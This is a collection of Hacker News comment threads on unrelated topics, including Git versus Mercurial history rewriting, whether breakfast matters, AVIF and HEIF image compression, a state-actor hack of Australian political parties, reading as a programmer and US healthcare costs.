There is no reason not to want an unlimited undo for almost everything,
especially today when disk space is so cheap.
~~~
DrJokepu
Maybe this is not that much relevant for DVCSs but in 'classic' VCSs such as
SVN an 'obliterate' command would be quite useful, think about the case when
someone accidentally commits something highly sensitive (such as private keys)
to version control. People make mistakes all the time, either way.
~~~
charlesmarshall
you can use commands like git filter-branch & git rebase to change your
history - [http://www-cs-
students.stanford.edu/~blynn/gitmagic/ch05.htm...](http://www-cs-
students.stanford.edu/~blynn/gitmagic/ch05.html)
~~~
Xurinos
"git rebase" on its own does not permanently alter history. It creates a new
branch that looks like a new history, but you can get back to the original
history.
"git gc" will prune the unused old histories for that permanent effect.
~~~
Vitaly
even "git gc" will not do it for a while. the old history will still be
referenced from the reflog for some time (I think default is 30 days)
------
avar
This is always relevant: <http://keithp.com/blogs/Repository_Formats_Matter/>
"I would like to argue that none of the user-interface and high-level
functional details are nearly as important as the fundamental repository
structure. When evaluating source code management systems, I primarily
researched the repository structures and essentially ignored the user
interface details. We can fix the user interface over time and even add
features. We cannot, however, fix a broken repository structure without all of
the pain inherent in changing systems."
Keith makes a good point. While Git's interface is lacking in some areas,
those things can be fixed in the higher level porcelain. Picking a system with
a nicer interface whose plumbing is uglier will lead to problems further down
the road.
------
durin42
With respect to his claim hg lost data for him, he was using mq without really
understanding it or using a versioned queue. mq is disabled for a reason, and
he enabled it without fully understanding the risks and ways of mitigating
those risks. I've discussed this with him at times, but the message never
seems to connect.
~~~
garybernhardt
Augie, I understand what you're saying, and I don't buy it. Git, when taken as
a full DVCS capable of rewriting history, is safer than Mercurial, when taken
as a full DVCS capable of rewriting history.
A DVCS that is incapable of rewriting history is, for me, a nonstarter, so I'm
not interested in talking about "well, if you turn off the interesting parts
of Mercurial, it's perfectly safe!"
You can either use Mercurial in a mode where it's not at all equivalent to
Git, but safe (extensions off), or you can use it in a mode where it's
somewhat equivalent to Git, but might lose your data.
With Git, I can mutate history without the slightest bit of fear, often just
to see what will happen. Does this giant branch I discarded two months ago
rebase cleanly over master? Try it. If the rebase completes but I don't like
it, I "git reset mybranch@{1}" and everything is good. And that safety net is
always there.
In Mercurial, I have to stop and think every time. Even if the command does
dump a bundle, restoring from it is a special case, and I'm going to have to
go dig up the bundle file, and in some cases it might not be there and I'll be
screwed. In Git, there are no special cases, I always know exactly how to
recover, and the recovery mechanism is always there.
Once more, to be clear: In Git, it is always there. Always there!
~~~
utx00
i guess i will have to try git to be sure, but i really don't see a difference
here. usually if i'm going to try something drastic, i try it on a clone that
i know i can throw away.
~~~
garybernhardt
I often do it multiple times per minute. That wouldn't fly if each required a
clone. :) (See another post I made in this thread for what I'm doing that
involves so much history mutation.)
------
pacemkr
"It's just an interface, though, and this is a tool you are going to use every
day..."
This summarized, for me, why I use hg. It is a tool I am going to use everyday
and it's not ok for this tool to have a crappy interface. My hard drive space,
that I don't care about.
~~~
j_baker
git's interface isn't terribly intuitive, but it isn't _that_ bad. Once you
get the hang of it, it makes sense.
~~~
anthonyb
I really don't follow this argument. git's interface is a giant turd. I've
been using it for months, and it still hasn't stuck, no matter what tutorials
I read. The normal workflow needs far too many commands and special options,
local vs. remote branching seems to do weird things, and the error messages
are completely obtuse.
------
psranga
I thought Git handled huge files poorly too. What I'd read was that most algos
in git assume that the whole file in revision control can be held in memory at
once to do things like diff.
Has this changed, or was I always mistaken, or this guy talking about the sum
of file sizes being a few gig?
~~~
avar
It still handles them poorly by default. You can do things like edit
.gitattributes to say that e.g. a *.binary file should be treated specially,
but Git's still not a good system for e.g. archiving HD video.
Some of this can be fixed, but a lot of it is probably not going to change.
When you git-add something it has to checksum the old data + new data. That's
going to be a pretty expensive operation when you have 50TB of data.
There's no DVCS that I'm aware of that handles large binary files as well as
say Perforce or Subversion.
Check out this project for more info on tuning Git for big files:
<http://caca.zoy.org/wiki/git-bigfiles>
------
jozeph78
Thanks for this good article. I took a 15 minute tour of both HG and Git and
felt that hg was overall a better experience, but felt if the community is
moving towards Git there has to be some good reason. I'm always a fan of the
underdog, so I've been asking everyone why Git (besides Github of course).
This is the first article that gives real pitfalls of one vs the other. I
enjoyed the read and would love to hear more as well as counter arguments.
~~~
charlesmarshall
although a bit biased, <http://whygitisbetterthanx.com/> gives you the
highlights of what git is good at.. for me its the simple branching coupled
with easy stashing
~~~
tzs
Being biased is OK, but that site is just flat out wrong on some of its
points. Mercurial has cheap local branching. There are good hosting services
for hosting Mercurial repositories.
| {
"pile_set_name": "HackerNews"
} |
There’s Nothing Magical About Breakfast - hvo
http://www.nytimes.com/2016/05/24/upshot/sorry-theres-nothing-magical-about-breakfast.html?hp&action=click&pgtype=Homepage&clickSource=story-heading&module=second-column-region®ion=top-news&WT.nav=top-news&_r=0
======
mmastrac
This reads like "I don't eat breakfast, so here's the reasons why I'm right."
Studies that support his conclusion, while flawed, are probably right. Studies
that oppose it are obviously tainted by various problems.
The fact that research shows that breakfast is actually beneficial for
children is hand-waved away because 'reasons'.
This is honestly just a low-quality, cherry-picked opinion piece by someone
who really doesn't like breakfast.
~~~
coldtea
> _This reads like "I don't eat breakfast, so here's the reasons why I'm
> right."_
Actually he gives very reasoned arguments and comments on meta-studies showing
that he is right -- not that breakfast is bad, but in that it doesn't make any
difference, and if it does nobody has clearly shown it.
(a) . In a paper published in The American Journal of Clinical Nutrition in
2013, researchers reviewed the literature on the effect of breakfast on
obesity to look specifically at this issue. They first noted that nutrition
researchers love to publish results showing a correlation between skipping
breakfast and obesity.
(b) However, they also found major flaws in the reporting of findings. People
were consistently biased in interpreting their results in favor of a
relationship between skipping breakfast and obesity. They improperly used
causal language to describe their results. They misleadingly cited others’
results. And they also improperly used causal language in citing others’
results.
(c) Few randomized controlled trials exist. Those that do, although
methodologically weak like most nutrition studies, don’t support the necessity
of breakfast.
(d) Further confusing the field is a 2014 study (with more financial conflicts
of interest than I thought possible) that found that getting breakfast
skippers to eat breakfast, and getting breakfast eaters to skip breakfast,
made no difference with respect to weight loss. But a 1992 trial that did the
same thing found that both groups lost weight. A balanced perspective would
acknowledge that we have no idea what’s going on.
(e) Many of the studies are funded by the food industry, which has a clear
bias. Kellogg funded a highly cited article that found that cereal for
breakfast is associated with being thinner. The Quaker Oats Center of
Excellence (part of PepsiCo) financed a trial that showed that eating oatmeal
or frosted cornflakes reduces weight and cholesterol (if you eat it in a
highly controlled setting each weekday for four weeks).
Your comment however, reads exactly like you describe his, but for the
opposite preference.
~~~
mmastrac
(a), (b), (d), and (e) are where he's argued that support for "breakfast is
good" is methodologically weak, but then he goes and brings out (c) as an
argument for his conclusion, while also being methodologically weak at the
same time.
You've also neglected to mention (f), where the author discusses studies that
show that breakfast is beneficial to children and then handwaves both of them
away:
> What about the argument that children who eat breakfast behave and perform
> better in school? Systematic reviews find that this is often the case.
and
> It has been found that children who skip breakfast are more likely to be
> overweight than children who eat two breakfasts.
~~~
ethbro
The quote between your two selected lines
> One of the reasons that breakfast seems to improve children’s learning and
> progress is that, unfortunately, too many don’t get enough to eat. [...]
> It’s not hard to imagine that children who are hungry will do better if they
> are nourished.
Seems a pretty valid point as opposed to handwaving. Nutrition research in
general has a pretty studious history of ignoring results in an attempt to
support pre-existing conclusions.
For support of last statement, see
[https://news.ycombinator.com/item?id=11444941](https://news.ycombinator.com/item?id=11444941)
[https://en.wikipedia.org/wiki/K-ration](https://en.wikipedia.org/wiki/K-ration)
(side note: military nutrition has a long and interesting involvement with
civilian nutrition guidelines)
------
seanwilson
It seems pretty clear our understanding of diet is still in its infancy and
news sites need to stop reporting every small piece of diet evidence as advice
people should follow. Journalists in general need to do a much better job of
explaining how robust new evidence is.
I love this website for health science news and wish there were more like it:
[http://www.nhs.uk/news/Pages/NewsIndex.aspx](http://www.nhs.uk/news/Pages/NewsIndex.aspx)
In each article they break down what the actual study was, how robust the
evidence is and what it says in the context of other research which you never
see in mainstream press.
For example, this article traces a flurry of headlines in the mainstream press
about the importance of breakfast back to the original research and critically
looks at the evidence in depth:
[http://www.nhs.uk/news/2014/08August/Pages/Breakfast-
not%20t...](http://www.nhs.uk/news/2014/08August/Pages/Breakfast-not%20the-
most-important-meal-of-the-day.aspx) It nearly always end in "needs further
study" but it's sad there's no incentive for news outlets to have more
accurate science reporting.
~~~
maxerickson
I'd say it is at least a ways into adolescence. Understanding vitamins and
trace minerals was a pretty big step forward.
~~~
curun1r
I actually think it wasn't. It was our first foray into nutritionalism [1],
which is the belief that foods can be deconstructed, analyzed, and
reconstructed and still be healthy. This has proven wrong over and over again.
No matter how much we discover about what our foods contain, it's been
consistent over the past 150 or so years that when we process food, it removes
healthy stuff that doesn't get reintroduced when we try to add it back in.
The discovery of vitamins led to Wonder Bread, when we thought that we could
make highly processed white flour healthy by adding vitamins. We now know that
Wonder Bread, despite the vitamins, is one of the least healthy things you can
put into your body since it basically converts directly to sugar. And that's
just one example, the middle of a supermarket is replete with boxes of
processed foods which claims to have added healthy stuff that have
consistently made the people who consume them less healthy than the people who
get their food from the produce and deli aisles, where there's no added
vitamins and no such health claims.
If we've learned one immutable truth from recent health studies, it's that
we're really bad at constructing foods that are healthier than what nature has
already constructed. That's not to say that we shouldn't continue to try to
learn about what's in the foods we eat, but that information should be used to
constitute a diet of natural foods rather than foods engineered to be healthy.
Research, especially when it's reported without understanding like the media
typically does, leads to fads that almost always turn out to be wrong. It's
how we spent 4 decades trying to eat low fat which led to the highest obesity
and diabetes rates ever. Meanwhile, those eating traditional diets based on
the foods that their ancestors have eaten for generations are consistently
healthier. Given that we know so much more about vitamins and minerals than
they do, how is that they're so much healthier than us? If our understanding
of vitamins hasn't made us healthier, is it really a big step forward?
[1] [https://metasteve.wordpress.com/2010/02/14/in-defense-of-
foo...](https://metasteve.wordpress.com/2010/02/14/in-defense-of-food-
part-2-nutritionalism/)
~~~
iopq
Except for people who eat Soylent, they're so far alive and healthy.
~~~
magicbeanss
I've never been so sad as when I read the New Yorker profile[1] of the creator
of Soylent. Most people understand that food can be extremely healthful, and
is a crucial part of culture and social bonding.
[1] [http://www.newyorker.com/magazine/2014/05/12/the-end-of-
food](http://www.newyorker.com/magazine/2014/05/12/the-end-of-food)
~~~
ghaff
It's not so much the idea of smoothies or protein shakes or yogurt drinks or
whatever (tasty) on-the-go nutrition you choose. It's the mentality around
"lifehacking" and my work being too important and all-consuming to partake in
the types of life activities that the muggles do.
------
steego
I'm sure there are many breakfast food manufacturers who would vehemently
disagree with this article.
I recall hearing a story about how the father of modern public relations and
propaganda (Eddie Bernays) played a key role in making sure that bacon and
eggs were a part of an American breakfast. You can watch him in this interview
explain how he created and manipulated a poll of 5,000 physicians to convince
the public they should be eating a heavy breakfast consisting of bacon and
eggs.
[https://www.youtube.com/watch?v=KLudEZpMjKU](https://www.youtube.com/watch?v=KLudEZpMjKU)
~~~
douche
Bacon and eggs is still better than a sugar-blasted bowl of breakfast cereal,
which it seems we are thankfully getting away from as the default breakfast.
~~~
pessimizer
Of course that's not what they taught us in school, which was that we were
supposed to have a pile of carbs with more carbs sprinkled on top and wash it
down with carb juice and milk. Bacon and eggs would kill you by clogging your
heart with pan drippings.
~~~
collyw
Is there any scientific evidence that carbs are bad? It seems to be true on
the internet, but I would prefer to see some proper peer reviewed studies.
~~~
pessimizer
Carbs aren't bad, they're just calorie-rich, hard on the pancreas and less
satisfying than not-carbs, so you eat more of them.
~~~
collyw
They are as calorie rich as protein gram for gram, and less than half of fat.
Have you any evidence for the other two claims?
~~~
pizza
[http://www.gnolls.org/2407/when-satiety-fails-why-are-we-
hun...](http://www.gnolls.org/2407/when-satiety-fails-why-are-we-hungry-
part-4/)
------
Cozumel
'What made breakfast into a distinct meal dominated by cold cereal? Ad
campaigns like the one that coined the phrase "breakfast is the most important
meal of the day" in 1944.'
[http://priceonomics.com/how-breakfast-became-a-
thing/](http://priceonomics.com/how-breakfast-became-a-thing/)
~~~
swanson
Thanks! Was looking for a comment about this. So many of the long surviving
'myths' seem to be traceable back to an advertising campaign.
------
MOARDONGZPLZ
Yikes, I hate to be "that" person, but when I pulled up that link it was worse
than a paywall. They said I can either subscribe, or whitelist them on my
adblocker. No preview of the content or anything.
No thanks, I'll take a pass on the malware this time and just read the
comments from people willing to get through on here.
~~~
zodPod
No need to hate being that person! The bullshit paywalls are obnoxious! It's
good to know I'm not the only one annoyed!
~~~
sd8f9iu
Honestly, how are they obnoxious? They're asking you to pay for a service. I
wish there were more paywalls in online journalism. Low-quality ad-funded
journalism is how we get clickbait and crap like the Huffington Post.
~~~
nkohari
Do you subscribe to all of the sites with paywalls?
~~~
SomeCallMeTim
Not the grandparent, but I don't run an ad blocker, which is how I "pay" for
the sites. I do run NoScript, but I'll enable sites like the NYT.
It's sad how the entitlement mentality convinces people that they not only
have the right to consume all media on the web for free, but they also have
the absolute, inalienable right to view it without looking at ads. Because the
It seems very juvenile to me. "I want everything for free, even if it does
cost money to create, and if I can't have it free, I'm going to post to
complain about it!"
------
markbnj
I'd be interested to know whether the author eats in the evening. I don't
think he mentioned one way or another. I don't eat anything after a light
dinner and I usually wake up very hungry. I'm not saying one way is better
than the other, but if someone typically sleeps 6 to 8 hours starting at, say,
Midnight, and the last meal prior to retiring was at 7 PM, that is 12-13 hours
without food.
~~~
jaggederest
I usually fast for 16 hours a day, and I don't wake up hungry at all. Usually
I only start to get hungry around the ~14-15 hour mark.
Hunger is something that can be trained, not simply a static phenomenon.
There's a reason you get hungry when you smell something delicious. If you eat
every day shortly after waking up, I'd certainly expect to be hungry at that
time.
~~~
TillE
Yeah, when I was doing keto for weight loss for a few months, I just naturally
ate one big meal in the evening, and usually a snack of almonds a few hours
before. And that's it.
I was never particularly hungry during my accidental 16-ish hour "fast". In
fact, I usually had to force myself to eat a bit extra just to bring my daily
calorie count up to something reasonable.
------
pizza
Honestly, fasting for >16 hr/d >> eating breakfast, in my experience. Pet-
theory is that you get a lil' neurotransmitter upregulation as an added
benefit ;)
Thoughts?
~~~
brahmwg
Anecdata, but I've found the same. I have more energy and better performance
(for physical activity and cognitive activity) when I fast for the majority of
the day.
Not a fan of gimmicky diets but my eating pattern seems similar to "the
warrior diet", look it up if you're curious. I just think that in nature (if
we were wild humans) we wouldn't have access to a huge meal right out of bed,
We'd have to work hard all day to hunt and gather our food, then celebrate as
a group with a food orgy around the fire.... okay I got a bit carried away :P
------
gravypod
Isn't the first meal that you eat in the day your "breakfast?"
Because wouldn't that be the time you "break" your "fast".
~~~
cmurf
Yes from the "words have meaning" point of view, breakfast is unavoidable.
~~~
hawleyal
There are other points of view?
~~~
jerf
Taking your question seriously, yes. Two major schools of thought are
"prescriptive" vs. "descriptive". This terms are usually applied to the noun
"grammar" but it works for vocabulary, too. See:
[http://amyrey.web.unc.edu/classes/ling-101-online/tutorials/...](http://amyrey.web.unc.edu/classes/ling-101-online/tutorials/understanding-
prescriptive-vs-descriptive-grammar/)
Descriptively, breakfast is clearly an early-morning meal eaten within an hour
or two of the end of sleep. There is also, at least in America where I can
speak for it, a set of associated "breakfast foods", making it reasonable to
"have breakfast for dinner" and most people know what you mean. (i.e., even my
5-year-old knew precisely what that meant when I first said it, so one should
carefully consider one's internet-pedant options before claiming that makes no
sense :) ) Prescriptively one could make a case for "the meal that breaks your
fast", though I daresay it would be a rather weak case. The term "fast" is
almost dead in modern American English, though it may be making a comeback via
things like Intermittent Fasting:
[https://www.nerdfitness.com/blog/2013/08/06/a-beginners-
guid...](https://www.nerdfitness.com/blog/2013/08/06/a-beginners-guide-to-
intermittent-fasting/) (Which, for the purposes of this post, I'm merely
pointing out a word usage. Though I do it myself now, I'm not defending or
advocating it here.)
------
askyourmother
My breakfast was magical - amazing smoked kippers, marmalade and toast,
freshly roasted and ground filter coffee, a handful of fresh berries, and that
was just the first course!
~~~
internaut
Waffles at the right time with coffee can be magical.
------
EGreg
Here's what I think:
People who are college students, young professionals, _esp._ developers and
entrepreneurs often work late into the night, either because they're partying
or because they want to put that one problem to bed before they go themselves.
They often eat small snacks at night. Some wake up early, some wake up late,
but many rush to work and forget breakfast.
As a result, their bodies adjust to intermittent fasting, and they actually
have good calorie intake. Provided they don't eat junk food.
People who have been doing that since their early 20s are for the most part
not overweight.
That's my theory. You could also do intermittent fasting by skipping dinner,
but few night owls would do that. Instead, they eat dinner and some snacks at
night, it digests overnight and they aren't hungry in the morning.
------
paulpauper
tldr: methodological flaws and conflicts of interest undermine supposed
superiority of breakfast
------
atonse
I am just so unsettled by those broken yolks (I like my egg sunny side up),
that I couldn't read the rest of the article.
------
StavrosK
Also see this nice YouTube channel:
[https://www.youtube.com/watch?v=Syleh_6Aopw](https://www.youtube.com/watch?v=Syleh_6Aopw)
------
UK-AL
I'm a victim of this myth. I'm just not hungry in the morning. Some people
love breakfast, and that's ok.
But don't barrage me with "it's the most important meal of the day" old wife
tales, when you don't understand my lack of hunger.
------
wmccullough
Why does everything have to be so polarized anymore?
~~~
tptacek
"Breakfast isn't magical" isn't a polarized position. The polar opposite of
"breakfast is magical" is "breakfast is evil", a position this article is at
pains not to take.
~~~
rco8786
I'm not sure that "evil" is the opposite of "magic"
~~~
usrusr
It's the perfect opposite if you look at both words the way you have to look
at them when they appear in writing about nutritional science. There, both
could only ever be used as deliberate exaggerations of the healthy/unhealthy
dichotomy, because neither Hogwarts nor James Bond supervillains have a place
there.
------
jcoffland
"As with many other nutritional pieces of advice, our belief in the power of
breakfast is based on misinterpreted research and biased studies."
This is the real piece of truth in this article.
------
beamatronic
Breakfast became "magical" to me when I started eating high-protein breakfasts
- basically eggs and bacon or sausage instead of cereal. The years I ate
cereal for breakfast, I was battling to stay awake until lunch time. I felt so
sleepy in class. Years later I moved to San Francisco and started eating eggs
almost every day in SoMa cafes. I could not believe the difference. I was wide
awake and had so much more energy.
~~~
magicbeanss
I recently re-introduced chicken into my diet after 12 years after being a
vegetarian. I started eating chicken breast for breakfast instead of the usual
toast and peanut butter, and the difference in my energy level is astounding.
I'm no longer carb-foggy, my digestion is much better, and I don't have to eat
again until well into the afternoon or evening.
------
DominikR
As somebody who does weight lifting I can say from my experience that I
performed much worse back then when I didn't take the time to eat a breakfast
before going to the fitness studio.
I actually even had to stop the training sometimes because I had to vomit.
(probably too low blood sugar)
During that time I made very slow progress.
Since I started to eat breakfast 2-3 hours before training I never had any
issues and I also gain more weight (muscles)
~~~
Jtsummers
> Since I started to eat breakfast 2-3 hours before training I never had any
> issues and I also gain more weight (muscles)
I think this is the important part. Breakfast (the morning meal) isn't the
critical factor, it's having the nutrients (proteins, sugars, etc.) in your
body when you need it. If you worked out in the evening, like me, you'd
probably find that a decent sized lunch + a small mid-afternoon snack would be
fine, breakfast optional.
------
rconti
Heh. I'm a breakfast eater now.
I used to not eat breakfast. I'd be _starving_ at 11:45am when it was time to
go out to lunch with my coworkers.
I decided to make some changes in my diet so I wasn't so hungry for lunch and
could make better choices. Started eating a healthy breakfast every morning.
I was _starving_ by 12:00pm.
So, for my anecdatel point, I think it has more to do with when your body
expects food than actual hunger.
------
talles
There's nothing magical about the way the author dismiss breakfast either. In
the end it's an article where the author says that "breakfast research is
flawed" and "I don't like breakfast".
I'm disappointed on how the author missed intermittent fasting which, even not
being scientific consensus, has many studies in favor of not breaking the
fast.
------
fs111
I can highly recommend "The diet myth" by Prof. Tim Spector, who does a good
job in explaining why there are so many myths about nutrition, food, digestion
etc:
[http://tim-spector.co.uk/](http://tim-spector.co.uk/)
~~~
streblo
FiveThirtyEight had an article about this recently:
[https://fivethirtyeight.com/features/you-cant-trust-what-
you...](https://fivethirtyeight.com/features/you-cant-trust-what-you-read-
about-nutrition/)
------
darkstalker
I don't eat breakfast since a long time. I wake up at 11am-12pm and sleep at
3-4am. I just sleep through it. Does that mean that my lunch counts as a
breakfast?
------
emodendroket
Well, magical or not, I do not want to be hungry until lunch.
~~~
dionidium
The author doesn't get hungry before lunch. Maybe that seems weird to you, but
it doesn't to me. I don't get hungry until lunch, either.
~~~
emodendroket
Not really weird, no. I felt that way when I was in high school. But now my
habits have changed.
------
rabboRubble
If I don't eat breakfast, I get a headache after I eat lunch. So for me
breakfast is the equivalent of two Excedrin Migraine. Pure magic!
------
Gonzih
I'm also not hungry in the morning, but without breakfast I feel sleepy and
often get headache. So I'm not sure what author was trying to prove here.
Natural schedule and physiology is different from person to person.
~~~
detaro
> _So I 'm not sure what author was trying to prove here. Natural schedule and
> physiology is different from person to person._
That sounds exactly like the thing the author tries to demonstrate: There
isn't a clear-cut evidence that breakfast is important, or that it is bad.
------
Vanit
Time is an illusion. Breakfast time, doubly so.
------
mtw
Eating requires a lot of energy. Eating too much in the evening will for
example impact negatively your sleep.
Therefore, it is better to have a good breakfast and lunch so you can skip
dinner or have very light dinner (lean protein, veggies).
If you skip breakfast, you will have to eat dinner/late dinner. Goodbye good
night sleep.
~~~
witty_username
I sleep fine when I eat late, perhaps even better because my stomach is full
and that feels good.
------
will_brown
>I don’t eat breakfast...In fact, I’m rarely hungry until about lunchtime. So,
other than a morning cup of coffee, I don’t eat much before noon.
This is fairly amusing. First, coffee is a well known appetite suppressant.
Second, unless coffee is black it is probably far from zero calories, with
dairy and sugar maybe between 200-300 [empty] calories which would be in the
ball park of bacon and an egg.
Of course some starbucks drinks can easily be >600 calories so who knows, the
author could be drinking a coffee every morning that is closer to the caloric
equivalent of pancakes with syrup.
~~~
gutnor
> This is fairly amusing.
Or not. The effect of caffeine as an appetite suppressant is nowhere close to
letting you skip a meal (that's what we are talking about when saying
breakfast, not 5 corn flakes with a sip of milk). A lot of people take their
tea/coffee without sugar and the calorie content of a table spoon of milk is
negligible.
~~~
will_brown
>The effect of caffeine as an appetite suppressant is nowhere close to letting
you skip a meal
I don't know what you mean by saying caffeine doesn't let someone skip a meal,
no one is asking permission. Most can skip a meal with or without caffeine,
but the caffeine would only help curb hunger pains in those few hours before
lunch. I am not suggesting caffeine has some magical properties (though we all
know it does).
>A lot of people take their tea/coffee without sugar and the calorie content
of a table spoon of milk is negligible.
Ok lets use your example of how _a lot_ of people take their tea/coffee. A
Starbucks 16oz coffee with _no sugar_ and just 2% milk still has over 100
calories (120), just shy of a 12oz coke (140).
Clearly, whether or not that is negligible is sadly a matter of opinion more
than science, because you say it is and I say its not. Consider this though,
while sugar in coke is no doubt the larger health issue, you won't find to
many people who say the amount of empty calories from a coke every day over a
year is negligible (maybe just the Coke people themselves, but they will also
say the sugar isn't an issue). Nevertheless, what you define as negligible
calories is still more than an egg, still more than 2 pieces of bacon...and
none of the nutritional value.
~~~
epimetheus
That's all milk though, and be sure you look at the unsweetened data.
A 16oz, Ice Coffee (which is what I prefer so that's what I'm posting), is a
mere 5 calories[0] - drip coffee with no sweetener or splenda or some other
low/no calorie sweetener would be the same.
[0] - [http://www.starbucks.com/menu/drinks/iced-coffee/iced-
coffee...](http://www.starbucks.com/menu/drinks/iced-coffee/iced-
coffee?foodZone=9999#size=106510&sweetened=0)
~~~
will_brown
I acknowledged that in my original post:
>Second, unless coffee is black it is probably far from zero calories, with
dairy and sugar maybe between 200-300 [empty]
Notwithstanding the fact that you and I tend to drink coffee black, we likely
are in the minority. The fact that starbucks beverages are over 200 calories
at a ratio of 5:1 tend to support my assumptions about the demands of the
market (based on a sample of 51 starbucks beverages).
I think a lot of people took issue with my figures (200-300), but they are
starbucks figures not mine. Still my point remains, even if an average coffee
is 120 calories a number others have conceded who otherwise said I grossly
exaggerated, I wouldn't consider that skipping breakfast insofar as one can
have a very nutritious breakfast for that amount of calories (say 1 whole egg
and 2-3 egg whites; even bacon and an egg).
| {
"pile_set_name": "HackerNews"
} |
Crowd-sourced Music Video - nate_martin
http://donottouch.org
======
brennannovak
WOW! This is absolutely incredible. I can't believe no one up voted it here!
| {
"pile_set_name": "HackerNews"
} |
Australian Political Parties Hit by 'State Actor' Hack - LinuxBender
https://www.bbc.com/news/world-australia-47274663
======
brobdingnagians
How do they ever know it is a state actor? It always seemed to me that a
sophisticated attack should be fairly untraceable? but then it always seems
that they always know where it is from (or at least, "state actor"), is that
mainly based on who has motive or are there more certain clues and traces that
are always left, like the muddy footprints leading to the border?
~~~
gammateam
The hackers have their publicist deflect attention from them while also
advertising that there may be information for sell on Oasis
It also helps the victim as it is less embarrassing to say a state actor has
done it
It still works, nobody is asking the correct questions, it requires
disagreeing with your friend’s favorite politicians and intelligence agencies
while they remain oblivious to the technological limitations in finding the
culprit
So what we have here is a vibrant marketplace
------
merricksb
Discussion from 1-2 days ago:
[https://news.ycombinator.com/item?id=19187997](https://news.ycombinator.com/item?id=19187997)
| {
"pile_set_name": "HackerNews"
} |
AVIF for Next-Generation Image Coding - el_duderino
https://netflixtechblog.com/avif-for-next-generation-image-coding-b1d75675fe4
======
webmobdev
It's a cool coincidence that this came up just when I was considering how to
create more space in my disk.
I have around 20GB of image files from my old graphic designing projects. It's
20 GB now because 2-3 years back I had gone on a similar "spring cleaning" of
my drive and converted a lot of image files to JPEG2000 format (mostly
lossless). At first I tried to do the conversion with MacOS Preview, but it
kept hanging / crashing as it couldn't handle some of the large files.
Luckily, I came across the free J2K Photoshop plug-in -
[https://www.fnordware.com/j2k/](https://www.fnordware.com/j2k/) \- that
offered more features than Preview's JPEG2000 export did, and was also faster.
This time, I am debating whether to convert all these JPEG2000 image files to
HEIF. I experimented in converting a 166 MB TIFF file using Preview. The
JPEG2000 (lossless) output was 16.9 MB. The HEIF (lossless) output was 8.9 MB!
But Preview still seems to be buggy with large files, and it got hung in
converting a huge image file (around a GB). (I tried GIMP but it crashes too
while converting huge files). Another issue I noticed with Preview conversion
to HEIF is that it doesn't use the original profile (if any) embedded in the
image file, and converts it.
So I am looking for a good HEIF converter that also retains profiles.
Ofcourse, I am still debating whether it would be wise to convert to HEIF.
Choosing and converting to JPEG2000 was an easier choice as it is a standard
and has been around for a long time. And there are softwares that still
support it.
After all, 10 years down the lane, you don't want to be stuck with a file
format that you can't even open! Between HEIF and AVIF wonder which one will
outlast the other?
~~~
floatingatoll
heif_enc (or heif-enc if Homebrew) from libheif offers lossless and maintains
profiles. I saw the same 50% reduction versus TIFF.
ImageMagick convert still damaged color profiles (refuses to write them,
afaict?), as of a month ago.
~~~
webmobdev
I noticed a strange issue with GIMP libheif plug-in - some of the converted
images look a little washed out (any such noticeable colour change is
ofcourse, unacceptable). But macOS Preview converts them perfectly without any
such colour difference. I suspect libheif to be buggy.
~~~
floatingatoll
I only had success with the command-line utility. Attempting to use libheif
embedded in other tools did not succeed. I assume this is because the other
tools implemented libheif before it supported ICC and have not kept up with
the times.
------
theandrewbailey
I've been playing around with AVIF for a few months, and I've been impressed
that it's about twice as efficient as JPEG. I can't wait to see how JPEG XL
compares to it, and to have web browsers support one (or both).
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Do you have to read a lot as a programmer? - Onixelen
Not just code, I mean a lot of text in English. Can you rely mostly on videos, if you have a hard time reading, and minimize reading to small amount of text?
======
mspaulding06
There's some you can learn from videos and other tutorials, but really you
need to read books. You need to read books and you need to write a lot of
code. Coding teaches you how to be better at coding, but reading books teaches
you what your code actually means. Reading is where you learn the terminology
you need to know to really understand what's going on in your code. It also
helps you to be a better communicator with other programmers. Programmers who
don't read books can't communicate to other programmers what their programs
do. Being a good communicator is part of being a good programmer. So yes, read
books, lots of them.
------
samblr
Yes. Over a career - one will learn lot of frameworks, languages,
technologies, tools - before jumping to code - there is sometimes dense
documentation to go through. At time this can be daunting as things might be
poorly documented (eg mongoose documentation).
A handy trick is to make small diagrams of your readings - it can be as simple
as writing a timing diagram of calls while reading documentation. This kinds
of expands on what one reads - I found them really useful. Also, first search
in google images - eg: you want to understand "angular architecture" \-
usually first few of images will be very relevant to grasp things in a
abstract way. By doing this first you get component names and how they are
connected (by seeing the image) then you read documentation - you kind of know
what documentation is trying to tell now.
Understanding meaning of words are important if you are non-native speakers.
Say there is a word you have never come across eg: convolution neural
networks. One needs to know 'convolution' means then 'neural networks' before
going any further.
So the key takeaway I feel is how quickly can one abstract new concepts or
relate them to what is known or build new models of understanding.
~~~
samblr
\+ add google dictionary extension on chrome - double click any word will tell
meaning of it.
------
flukus
Yes, there is a lot of reading involved. Educational sources, bug reports,
commit messages, logs, documentation and code itself, these all require
reading and are things you have to do multiple times a day.
As far as having a hard time reading, could you be more specific? I'm a very
slow reader myself (can listen to an audiobook faster than I can read the same
book) and it's not something that's ever worried me professionally.
~~~
Onixelen
> As far as having a hard time reading, could you be more specific?
I read slow, like you mentioned, and have lack of confidence in my ability to
read.
------
a-saleh
As I slowly advance in my career, I have realized I need to write a lot as
well. Most of the conversations within my teams are done in text:
* irc chat * slack chat * email * wiki with shared information * issues * specification documents
My greatest achievement past three months was not a piece of code but a 2700
word document describing our new testing process.
| {
"pile_set_name": "HackerNews"
} |
The US spends more on healthcare for no gain says new report from Johns Hopkins - grecy
https://www.jhsph.edu/news/news-releases/2018/us-health-care-spending-highest-among-developed-countries.html
======
mikeg8
The book _The Healing of America_ by T.R. Reid, 2010 was a phenomenal look at
this subject and the conclusion was this: we are the only developed nation
whose government allows for-profit health insurance companies to exist with
ZERO regulation to cap healthcare prices. Because of this, we spend 20% of
every dollar on "administrative" costs compared to 3%-7% in the European and
Asian countries. The goal for American healthcare companies is increasing
shareholder value, not reducing costs. IMO healthcare is an obvious example of
where a "free market" approach has failed and government oversight is
critical.
[https://www.amazon.com/Healing-America-Global-Better-
Cheaper...](https://www.amazon.com/Healing-America-Global-Better-
Cheaper/dp/0143118218)
~~~
DennisP
I read that book too, and agree it's phenomenal. It's not just about capping
insurance profits. The countries doing the best also have price controls on
the healthcare providers. Doctors make a lot less money. On the other hand
they generally don't have to pay for medical school.
France, Germany, and Japan all have similar systems, according to the book.
They have private nonprofit insurance, some kind of mandate to purchase it, a
government price list on services, guaranteed coverage of anything on the
list, and digital medical records.
A lot of German primary care doctors don't even hire office staff. They
